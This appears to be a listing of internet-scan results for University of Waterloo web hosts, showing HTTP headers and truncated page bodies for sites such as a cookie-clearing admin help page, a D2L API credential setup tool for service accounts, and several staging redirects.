property="twitter:domain" content="vert.sh"/> <meta property="twitter:url" content="https://vert.sh"/> <meta property="twitter:title" content="VERT.sh — Free, fast, and awesome file converter"/> <meta property="twitter:description" content="With VERT, you can quickly convert any image, video, audio, and document file. No ads, no tracking, open source, and all processing (other than video) is done on your device."/> <meta property="twitter:image" content="/_app/immutable/assets/VERT_Feature.D5UIwpMt.webp"/> <link rel="manifest" href="/manifest.json"/> <link rel="canonical" href="https://vert.sh/"/> <!--[!--><!--]--> <!--[!--><!--]--><!----><title>VERT.sh</title>
<script>
(function () {
// Apply theme before DOM is loaded
let theme = localStorage.getItem("theme");
const prefersDark = window.matchMedia(
"(prefers-color-scheme: dark)",
).matches;
console.log(
`Theme: ${theme || "N/A"}, prefers dark: ${prefersDark}`,
);
if (theme !== "light" && theme !== "dark") {
console.log("Invalid theme,
Open service 129.97.134.33:80 · vert.csclub.uwaterloo.ca
2026-01-22 04:30
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://vert.csclub.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 04:31:20 GMT Content-Length: 0
Open service 129.97.222.96:443 · smithgroup.uwaterloo.ca
2026-01-22 03:43
HTTP/1.1 302 Found Alt-Svc: h3=":443"; ma=2592000 Location: https://uwaterloo.ca/smith-research-group Server: Caddy Date: Thu, 22 Jan 2026 03:43:36 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · smithgroup.uwaterloo.ca
2026-01-22 03:43
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://smithgroup.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 03:44:05 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:443 · cookiemonster.fast.uwaterloo.ca
2026-01-22 00:26
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Content-Type: text/html
Date: Thu, 22 Jan 2026 00:26:45 GMT
Server: BaseHTTP/0.6 Python/3.12.3
Strict-Transport-Security: max-age=15768000
Via: 1.0 Caddy
Connection: close
Transfer-Encoding: chunked
Page title: Cookiemonster
<!doctype html>
<html lang="en">
<head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.min.css" />
<title>Cookiemonster</title>
</head>
<body><main class="container">
<h1>Cookiemonster - eats cookies</h1>
<p>This site is for system admins looking for configration help and demonstration!</p>
<article>
<b>Problem:</b> Domain cookies can accumulate in web browsers, and then become larger than what web services allow.
<br/><br/>
This can happen naturally. For example browse WCMS sites without ad block and then check howmany Google Analytics "_ga" cookies you have.
</article>
<p>Indicators errors that your web browser may be suffering from <b>too many cookies:</b>
<ul>
<li>"Request Header Fields Too Large"</li>
<li>"header field exceeds server limit"</li>
<li>"I/O ERROR"</li>
</ul></p>
<article>
<b>Solution:</b> This website tries to mitigate the issue by providing instructions and a service: <code>https://cookiemonster/eat</code><br/><br/>
The service deletes all junk cookies `['_ga', '_gcl', '_gac', '_gid']` and if that did not clear enough cookies (more than 2500bytes remain) it then eats ALL cookies in the second level domain. After eating a cookie `COOKIEMONSTER_ATE` is set for 10minutes to prevent redirect loops.
</article>
<h2>How to use this service</h2>
<ol>
<li>Detect large header cookies in your http server</li>
<li>Redirect to cookiemonster to eat (with a callback)</li>
<li>Optional check for cookie "COOKIEMONSTER_ATE" to prevent redirect loops</li>
</ol>
<pre>
Caddy
-----
## NOTE: set watermark for cookie header size; at 6000
## NOTE: only eat after COOKIEMONSTER_ATE expires to revent possible redirect loop
@cookiemonster expression size({header.cookie})>6000 && !header_regexp('Cookie', 'COOKIEMONSTER_ATE')
redir @cookiemonster https://cookiemonster.fast.uwaterloo.ca/eat?callback={scheme}://{host}{uri} 307
Nginx (untested)
----------------
# write a small lua program: /etc/nginx/cookiemonster.lua
local cookie_size = ngx.var.http_cookie:len()
if cookie_size > 6000 then
local redirect_url = "https://cookiemonster.fast.uwaterloo.ca/eat?callback=" .. ngx.var.request_uri
return ngx.redirect(redirect_url, ngx.HTTP_MOVED_TEMPORARILY)
end
# add something like the following to /etc/nginx/nginx.conf
large_client_header_buffers 4 16k;
location / {
content_by_lua_file '/etc/nginx/cookiemonster.lua';
}
Apache (todo)
-------------
Please share your solution
JavaScript (clientside solution)
--------------------------------
# perhaps run this after page load.
function cleanupCookies() {
const JUNKFOOD = ['_ga', '_gcl', '_gac', '_gid'];
const MAX_SIZE = 4000; // threshold for junk cleanup
const getCookies = () =>
document.cookie.split(';').map(c => c.trim().split('=')[0]);
const deleteCookie = name => {
console.log(`Deleting cookie: ${name}`);
document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/`;
};
const deleteMatching = (filterFn) =>
getCookies().forEach(name => filterFn(name) && deleteCookie(name));
if (document.cookie.length > MAX_SIZE) {
console.log(`Deleting cookies because ${document.cookie.length}bytes > ${MAX_SIZE}`);
deleteMatching(name =>
JUNKFOOD.some(prefix => name.toLowerCase().startsWith(prefix.toLowerCase()))
);
// deleteMatching(() => true); // delete all cookies
}
}
</pre>
<h2>Testing</h2>
<article>
<b>DANGER:</b> the following links create large cookie headers under uwaterloo.ca. Many websites in the domain will drop YOUR web requests. Untill the cookies are cleared with <a role="button" href='/eat?callback=/'>EAT</a>
</article>
<p>Test cookies have prefix '_TEST##' and expire after 5minutes.</p>
<ul>
<li><a href='/view'>/view</a> -- view all cookies in your request</li>
<li><a href='/delete'>/delete</a> -- attempt to expire all cookies given in the request</li>
<li><a href='/ga10-4000b'>/ga10-4000b</a> -- 10 huge cookies total ~40KB (_ga prefix)</li>
<li
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:80 · cookiemonster.fast.uwaterloo.ca
2026-01-22 00:26
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://cookiemonster.fast.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 00:27:13 GMT Content-Length: 0
Open service 129.97.179.11:80 · cookiemonster.fast.uwaterloo.ca
2026-01-22 00:26
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://cookiemonster.fast.uwaterloo.ca/ Server: Caddy Date: Thu, 22 Jan 2026 00:27:12 GMT Content-Length: 0
Open service 129.97.179.11:443 · cookiemonster.fast.uwaterloo.ca
2026-01-22 00:26
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Content-Type: text/html
Date: Thu, 22 Jan 2026 00:26:43 GMT
Server: BaseHTTP/0.6 Python/3.12.3
Strict-Transport-Security: max-age=15768000
Via: 1.0 Caddy
Connection: close
Transfer-Encoding: chunked
Page title: Cookiemonster
<!doctype html>
<html lang="en">
<head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.min.css" />
<title>Cookiemonster</title>
</head>
<body><main class="container">
<h1>Cookiemonster - eats cookies</h1>
<p>This site is for system admins looking for configration help and demonstration!</p>
<article>
<b>Problem:</b> Domain cookies can accumulate in web browsers, and then become larger than what web services allow.
<br/><br/>
This can happen naturally. For example browse WCMS sites without ad block and then check howmany Google Analytics "_ga" cookies you have.
</article>
<p>Indicators errors that your web browser may be suffering from <b>too many cookies:</b>
<ul>
<li>"Request Header Fields Too Large"</li>
<li>"header field exceeds server limit"</li>
<li>"I/O ERROR"</li>
</ul></p>
<article>
<b>Solution:</b> This website tries to mitigate the issue by providing instructions and a service: <code>https://cookiemonster/eat</code><br/><br/>
The service deletes all junk cookies `['_ga', '_gcl', '_gac', '_gid']` and if that did not clear enough cookies (more than 2500bytes remain) it then eats ALL cookies in the second level domain. After eating a cookie `COOKIEMONSTER_ATE` is set for 10minutes to prevent redirect loops.
</article>
<h2>How to use this service</h2>
<ol>
<li>Detect large header cookies in your http server</li>
<li>Redirect to cookiemonster to eat (with a callback)</li>
<li>Optional check for cookie "COOKIEMONSTER_ATE" to prevent redirect loops</li>
</ol>
<pre>
Caddy
-----
## NOTE: set watermark for cookie header size; at 6000
## NOTE: only eat after COOKIEMONSTER_ATE expires to revent possible redirect loop
@cookiemonster expression size({header.cookie})>6000 && !header_regexp('Cookie', 'COOKIEMONSTER_ATE')
redir @cookiemonster https://cookiemonster.fast.uwaterloo.ca/eat?callback={scheme}://{host}{uri} 307
Nginx (untested)
----------------
# write a small lua program: /etc/nginx/cookiemonster.lua
local cookie_size = ngx.var.http_cookie:len()
if cookie_size > 6000 then
local redirect_url = "https://cookiemonster.fast.uwaterloo.ca/eat?callback=" .. ngx.var.request_uri
return ngx.redirect(redirect_url, ngx.HTTP_MOVED_TEMPORARILY)
end
# add something like the following to /etc/nginx/nginx.conf
large_client_header_buffers 4 16k;
location / {
content_by_lua_file '/etc/nginx/cookiemonster.lua';
}
Apache (todo)
-------------
Please share your solution
JavaScript (clientside solution)
--------------------------------
# perhaps run this after page load.
function cleanupCookies() {
const JUNKFOOD = ['_ga', '_gcl', '_gac', '_gid'];
const MAX_SIZE = 4000; // threshold for junk cleanup
const getCookies = () =>
document.cookie.split(';').map(c => c.trim().split('=')[0]);
const deleteCookie = name => {
console.log(`Deleting cookie: ${name}`);
document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/`;
};
const deleteMatching = (filterFn) =>
getCookies().forEach(name => filterFn(name) && deleteCookie(name));
if (document.cookie.length > MAX_SIZE) {
console.log(`Deleting cookies because ${document.cookie.length}bytes > ${MAX_SIZE}`);
deleteMatching(name =>
JUNKFOOD.some(prefix => name.toLowerCase().startsWith(prefix.toLowerCase()))
);
// deleteMatching(() => true); // delete all cookies
}
}
</pre>
<h2>Testing</h2>
<article>
<b>DANGER:</b> the following links create large cookie headers under uwaterloo.ca. Many websites in the domain will drop YOUR web requests. Untill the cookies are cleared with <a role="button" href='/eat?callback=/'>EAT</a>
</article>
<p>Test cookies have prefix '_TEST##' and expire after 5minutes.</p>
<ul>
<li><a href='/view'>/view</a> -- view all cookies in your request</li>
<li><a href='/delete'>/delete</a> -- attempt to expire all cookies given in the request</li>
<li><a href='/ga10-4000b'>/ga10-4000b</a> -- 10 huge cookies total ~40KB (_ga prefix)</li>
<li
Open service 129.97.7.167:443 · deliberarts.pandora.cs.uwaterloo.ca
2026-01-21 21:31
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Wed, 21 Jan 2026 21:31:46 GMT
Link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2"
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
X-Powered-By: Next.js
Connection: close
Transfer-Encoding: chunked
Page title: Next.js and Supabase Starter Kit
<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/1ef253af618301fc.css" data-precedence="next"/><link rel="stylesheet" href="/_next/static/css/9c3444d6b954b3ef.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-dfacfd9a624c549b.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-1a334e32aac762cd.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><script src="/_next/static/chunks/app/layout-61749e99c51e1518.js" async=""></script><script src="/_next/static/chunks/559-b87c0214964217b5.js" async=""></script><script src="/_next/static/chunks/756-6c4383bb0542c357.js" async=""></script><script src="/_next/static/chunks/619-ba102abea3e3d0e4.js" async=""></script><script src="/_next/static/chunks/586-a5e95c44f83d18be.js" async=""></script><script src="/_next/static/chunks/768-7902aa24bce0bd1f.js" async=""></script><script src="/_next/static/chunks/app/page-dcfdeb8c0e8a6d7c.js" async=""></script><meta name="next-size-adjust" content=""/><title>Next.js and Supabase Starter Kit</title><meta name="description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:title" content="Next.js and Supabase Starter Kit"/><meta property="og:description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:image:type" content="image/png"/><meta property="og:image:width" content="1200"/><meta property="og:image:height" content="600"/><meta property="og:image" content="http://localhost:3000/opengraph-image.png?2e0bc232e210f89d"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:title" content="Next.js and Supabase Starter Kit"/><meta name="twitter:description" content="The fastest way to build apps with Next.js and Supabase"/><meta name="twitter:image:type" content="image/png"/><meta name="twitter:image:width" content="1200"/><meta name="twitter:image:height" content="600"/><meta name="twitter:image" content="http://localhost:3000/twitter-image.png?2e0bc232e210f89d"/><link rel="icon" href="/favicon.ico" type="image/x-icon" sizes="16x16"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body class="__className_188709 antialiased"><div hidden=""><!--$--><!--/$--></div><script>((a,b,c,d,e,f,g,h)=>{let i=document.documentElement,j=["light","dark"];function k(b){var c;(Array.isArray(a)?a:[a]).forEach(a=>{let c="class"===a,d=c&&f?e.map(a=>f[a]||a):e;c?(i.classList.remove(...d),i.classList.add(f&&f[b]?f[b]:b)):i.setAttribute(a,b)}),c=b,h&&j.includes(c)&&(i.style.colorScheme=c)}if(d)k(d);else try{let a=localStorage.getItem(b)||c,d=g&&"system"===a?window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light":a;k(d)}catch(a){}})("class","theme","system",null,["light","dark"],null,true,true)</script><main class="min-h-screen flex flex-col items-center"><div class="flex-1 w-full flex flex-col"><nav class="w-full flex border-b border-b-foreground/10 h-16 sticky"><div class="w-full flex justify-between items-center p-8 px-16 text-sm"><div class="flex gap-5 items-center font-semibold"><a href="/">deliberarts (wip)</a></div><div class="flex gap-5 items-center"><div class="flex gap-2"><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0 border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground h-8 rounded-md px-3 text-xs" href="/auth/login">Sign in</a><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:poi
Open service 129.97.7.167:443 · ickok4o0go40kcowsocsow0c.pandora.cs.uwaterloo.ca
2026-01-21 21:05
HTTP/1.1 503 Service Unavailable Alt-Svc: h3=":443"; ma=2592000 Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 21 Jan 2026 21:06:24 GMT Content-Length: 20 Connection: close no available server
Open service 129.97.222.96:443 · orcid-test.sci.uwaterloo.ca
2026-01-21 17:44
HTTP/1.1 200 OK
Alt-Svc: h3=":443"; ma=2592000
Content-Length: 23603
Content-Type: text/html; charset=UTF-8
Date: Wed, 21 Jan 2026 17:44:33 GMT
Via: 1.1 Caddy
Connection: close
Page title: ORCID @ UWaterlooCampus mapInstagramX (formerly Twitter)LinkedInFacebookYouTubeOn It Check
<!DOCTYPE html>
<html lang="en" dir="ltr"
prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# "
class="">
<head>
<meta property="og:title" content="ORCID @ UWaterloo" />
<meta property="og:description" content="ORCID Integration at UWaterloo" />
<meta property="og:locale" content="en_CA" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>ORCID @ UWaterloo</title>
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link rel="preload" as="style"
href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" />
<link rel="stylesheet"
href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap"
media="print" onload="this.media='all'" />
<noscript>
<link rel="stylesheet"
href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" />
</noscript>
<link rel="stylesheet" media="all"
href="/static/compiled.css" />
</head>
<body class="org-default not-layout-page path-frontpage front node-page node-page--node-type-uw-ct-web-page">
<div class="dialog-off-canvas-main-canvas" data-off-canvas-main-canvas>
<div class="uw-site-container">
<header class="uw-header uw-header__menu--full org-default" role="banner">
<div class="uw-header__masthead" lang="en">
<div class="uw-site-logo">
<a class="uw-site-logo__link" href="https://uwaterloo.ca" title="University of Waterloo Home"
aria-label="University of Waterloo Home" rel="home"></a>
</div>
<div class="uw-header-menu uw-header-menu__full">
<nav class="uw-horizontal-nav uw-horizontal-nav--header" aria-label="University of Waterloo navigation">
<div class="uw-horizontal-nav--wrapper">
<div class="uw-horizontal-nav--menu">
<ul class="menu menu--horizontal">
<li class="menu__item is-active-trail has-submenu">
<ul class="menu menu__subnav">
<li class="menu__item">
<a class="menu__link" href="https://uwaterloo.ca/admissions/">
<span class="link-text">
Admissions
</span>
</a>
</li>
<li class="menu__item">
<a class="menu__link" href="https://uwaterloo.ca/about/">
<span class="link-text">
About Waterloo
</span>
</a>
</li>
<li class="menu__item">
<a class="menu__link" href="https://uwaterloo.ca/faculties-academics/">
<span class="link-text">
Faculties & Academics
</span>
</a>
</li>
<li class="menu__item">
<a class="menu__link" href="https://uwaterloo.ca/offices-services/">
<span class="link-text">
Offices & Services
</span>
</a>
</li>
<li class="menu__item">
<a class="menu__link" href="https://uwaterloo.ca/support/">
<span class="link-text">
Support Waterloo
</span>
Open service 129.97.222.96:80 · orcid-test.sci.uwaterloo.ca
2026-01-21 17:44
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://orcid-test.sci.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 17:45:02 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:80 · disciple-stage.uwaterloo.ca
2026-01-21 17:37
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://disciple-stage.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 17:38:13 GMT Content-Length: 0
Open service 129.97.179.11:443 · disciple-stage.uwaterloo.ca
2026-01-21 17:37
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://disciple-stage.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 17:37:44 GMT Content-Length: 0 Connection: close
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:443 · disciple-stage.uwaterloo.ca
2026-01-21 17:37
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://disciple-stage.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 17:37:44 GMT Content-Length: 0 Connection: close
Open service 129.97.179.11:80 · disciple-stage.uwaterloo.ca
2026-01-21 17:37
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://disciple-stage.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 17:38:13 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:80 · d2l-api-cred.fast.uwaterloo.ca
2026-01-21 16:47
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://d2l-api-cred.fast.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 16:48:14 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:443 · d2l-api-cred.fast.uwaterloo.ca
2026-01-21 16:47
HTTP/1.1 200 OK
Accept-Ranges: bytes
Alt-Svc: h3=":443"; ma=2592000
Content-Length: 7916
Content-Type: text/html; charset=utf-8
Date: Wed, 21 Jan 2026 16:47:44 GMT
Etag: "d2x5spvxaclk63w"
Last-Modified: Tue, 23 Jul 2024 19:18:21 GMT
Server: Caddy
Vary: Accept-Encoding
Via: 2.0 Caddy
Connection: close
Page title: D2L Credential Harvester
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="color-scheme" content="light dark" />
<link rel="stylesheet" href="pico.min.css">
<title>D2L Credential Harvester</title>
</head>
<body>
<main class="container">
<h1>D2L Credential Harvester</h1>
<p>
This tool is intended to assist in gathering user credentials for building server / user-less automated API calls
to D2L's Brightspace API.
<p>
<h4>Why?</h4>
<p>Usually when you're creating an "app" in D2L, the intent is to have users access the app iteractively using
<em>their</em> user credentials.
</p>
<p>This pattern usually goes as follows:
<ul>
<li>User goes to your "app"</li>
<li>They are prompted to authenticate to D2L</li>
<li>They log in and accept the permissions</li>
<li>They can now use your apps and only access their own data through it</li>
</ul>
</p>
<p>This is less useful in an automated situation -- we don't have a "user" to be doing actions. Instead, you should
create a service account with access to relevant information for your purposes, and log them in via this page to
grab the credentials necessesary to do automated stuff.</p>
<h4>What you will need</h4>
<p>
<ul>
<li>An <b>app</b> in D2L, with an <b>app id</b> and an <b>app key</b></li>
<li>A <b>service account</b> with authorization to access the desired data</li>
</ul>
</p>
<p>Start with your <b>service account</b>. <a href="https://uwaterloo.atlassian.net/servicedesk/customer/portal/2/group/410/create/1575">Contact IST</a> to create a generic account, and in the ticket let them know the
account will need to authenticate / log in to LEARN.
</p>
<p>Once you have your service account, reach out to the <a target="_blank" href="mailto:learnhelp@uwaterloo.ca">LEARN team</a> to create your <b>app</b> in D2L. When submitting
this request, include the following:
<ul>
<li>The "name" of your app (i.e. Science Data Analysis)</li>
<li>The purpose of the app</li>
<li>The callback url (must be <em>exactly</em> <b>https://d2l-api-cred.fast.uwaterloo.ca</b> no trailing slashes!)
<li>The service account's watiam ID (eg. scidata)</li>
<li>What the account / app needs access to (eg. read access to all science grades)</li>
</ul>
You may need to include someone to approve access to this data if it's sensitive (most LEARN data is!)
<p>
<p>With all this done, you should have an <b>app id</b>, an <b>app key</b> and a <b>service account</b> that you can
log in with.</p>
<h4>Credential Harvester</h4>
<form id="credentials_form">
<article>
<fieldset>
<label>
D2L Server
<input name="server" placeholder="Server Instance" required />
</label>
<label>
App ID
<input name="app_id" placeholder="provided by LEARN admin" required autocomplete="new-password" />
</label>
<label>
App Key
<input name="app_key" placeholder="provided by LEARN admin" required autocomplete="new-password" />
</label>
</fieldset>
<footer>
<p><small>Note: When you click log in you will be taken to the LEARN server. Verify the URL and log in with
the <b>service account</b>, not your personal account. It may be easiest to use an incognito/private
window if you already have an account logged in.</small></p>
<input type="submit" value="Log In" />
</footer>
</article>
</form>
<pre><code id="results" style="color: var(--pico-primary)">Results will appear here after logged in</code></pre>
<h4>What do I do with this?</h4>
<p>You can use the resulting <b>user id</b> and <b>user key</b> to
make queries against the <b><a target="_blank"
href="https://docs.valence.desire2learn.com/http-routingtable.ht
Open service 129.97.179.11:443 · d2l-api-cred.fast.uwaterloo.ca
2026-01-21 16:47
HTTP/1.1 200 OK
Accept-Ranges: bytes
Alt-Svc: h3=":443"; ma=2592000
Content-Length: 7916
Content-Type: text/html; charset=utf-8
Date: Wed, 21 Jan 2026 16:47:43 GMT
Etag: "d2x5spvxaclk63w"
Last-Modified: Tue, 23 Jul 2024 19:18:21 GMT
Server: Caddy
Vary: Accept-Encoding
Via: 2.0 Caddy
Connection: close
Page title: D2L Credential Harvester
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="color-scheme" content="light dark" />
<link rel="stylesheet" href="pico.min.css">
<title>D2L Credential Harvester</title>
</head>
<body>
<main class="container">
<h1>D2L Credential Harvester</h1>
<p>
This tool is intended to assist in gathering user credentials for building server / user-less automated API calls
to D2L's Brightspace API.
<p>
<h4>Why?</h4>
<p>Usually when you're creating an "app" in D2L, the intent is to have users access the app iteractively using
<em>their</em> user credentials.
</p>
<p>This pattern usually goes as follows:
<ul>
<li>User goes to your "app"</li>
<li>They are prompted to authenticate to D2L</li>
<li>They log in and accept the permissions</li>
<li>They can now use your apps and only access their own data through it</li>
</ul>
</p>
<p>This is less useful in an automated situation -- we don't have a "user" to be doing actions. Instead, you should
create a service account with access to relevant information for your purposes, and log them in via this page to
grab the credentials necessesary to do automated stuff.</p>
<h4>What you will need</h4>
<p>
<ul>
<li>An <b>app</b> in D2L, with an <b>app id</b> and an <b>app key</b></li>
<li>A <b>service account</b> with authorization to access the desired data</li>
</ul>
</p>
<p>Start with your <b>service account</b>. <a href="https://uwaterloo.atlassian.net/servicedesk/customer/portal/2/group/410/create/1575">Contact IST</a> to create a generic account, and in the ticket let them know the
account will need to authenticate / log in to LEARN.
</p>
<p>Once you have your service account, reach out to the <a target="_blank" href="mailto:learnhelp@uwaterloo.ca">LEARN team</a> to create your <b>app</b> in D2L. When submitting
this request, include the following:
<ul>
<li>The "name" of your app (i.e. Science Data Analysis)</li>
<li>The purpose of the app</li>
<li>The callback url (must be <em>exactly</em> <b>https://d2l-api-cred.fast.uwaterloo.ca</b> no trailing slashes!)
<li>The service account's watiam ID (eg. scidata)</li>
<li>What the account / app needs access to (eg. read access to all science grades)</li>
</ul>
You may need to include someone to approve access to this data if it's sensitive (most LEARN data is!)
<p>
<p>With all this done, you should have an <b>app id</b>, an <b>app key</b> and a <b>service account</b> that you can
log in with.</p>
<h4>Credential Harvester</h4>
<form id="credentials_form">
<article>
<fieldset>
<label>
D2L Server
<input name="server" placeholder="Server Instance" required />
</label>
<label>
App ID
<input name="app_id" placeholder="provided by LEARN admin" required autocomplete="new-password" />
</label>
<label>
App Key
<input name="app_key" placeholder="provided by LEARN admin" required autocomplete="new-password" />
</label>
</fieldset>
<footer>
<p><small>Note: When you click log in you will be taken to the LEARN server. Verify the URL and log in with
the <b>service account</b>, not your personal account. It may be easiest to use an incognito/private
window if you already have an account logged in.</small></p>
<input type="submit" value="Log In" />
</footer>
</article>
</form>
<pre><code id="results" style="color: var(--pico-primary)">Results will appear here after logged in</code></pre>
<h4>What do I do with this?</h4>
<p>You can use the resulting <b>user id</b> and <b>user key</b> to
make queries against the <b><a target="_blank"
href="https://docs.valence.desire2learn.com/http-routingtable.ht
Open service 129.97.179.11:80 · d2l-api-cred.fast.uwaterloo.ca
2026-01-21 16:47
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://d2l-api-cred.fast.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 16:48:14 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:80 · oat-stage.uwaterloo.ca
2026-01-21 16:37
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://oat-stage.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 16:38:20 GMT Content-Length: 0
Open service 129.97.179.11:80 · oat-stage.uwaterloo.ca
2026-01-21 16:37
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://oat-stage.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 16:38:20 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:443 · oat-stage.uwaterloo.ca
2026-01-21 16:37
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://oat-stage.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 16:37:50 GMT Content-Length: 0 Connection: close
Open service 129.97.179.11:443 · oat-stage.uwaterloo.ca
2026-01-21 16:37
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://oat-stage.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 16:37:50 GMT Content-Length: 0 Connection: close
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:80 · checkvpn.uwaterloo.ca
2026-01-21 16:07
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://checkvpn.uwaterloo.ca/ Server: Caddy Date: Wed, 21 Jan 2026 16:08:17 GMT Content-Length: 0
Open service 2620:101:f000:1003:250:56ff:fe9b:34d3:443 · checkvpn.uwaterloo.ca
2026-01-21 16:07
HTTP/1.1 200 OK
Accept-Ranges: bytes
Alt-Svc: h3=":443"; ma=2592000
Content-Length: 6063
Content-Type: text/html; charset=utf-8
Etag: "df0rcqtfhm8m4of"
Last-Modified: Wed, 17 Dec 2025 20:01:35 GMT
Server: Caddy
Set-Cookie: remote_addr=2a03:b0c0:1:d0::d3b:5001
Strict-Transport-Security: max-age=15768000
Vary: Accept-Encoding
Date: Wed, 21 Jan 2026 16:07:48 GMT
Connection: close
Page title: Checking University of Waterloo network connection
<!DOCTYPE html>
<html>
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/x-icon" href="favicon.ico"/>
<title>Checking University of Waterloo network connection</title>
<style>
#header {
background-color: #000;
padding: 1rem;
}
body {
background-color: #eee;
font-family: Arial, Helvetica, sans-serif;
display: flex;
flex-direction: column;
min-height: 100%;
min-height: 100vh;
margin: 0;
}
.center {
background-color: white;
margin: 5em auto 8rem auto;
width: 60%;
border: 1px solid #ccc;
padding: 1em 2em;
border-radius: 8px;
max-width: 800px;
box-shadow: rgba(0,0,0,0.1) 0px 3px 8px;
}
.bshelf {
background-color: white;
box-shadow: rgba(0,0,0,0.1) 0 -4px 10px;
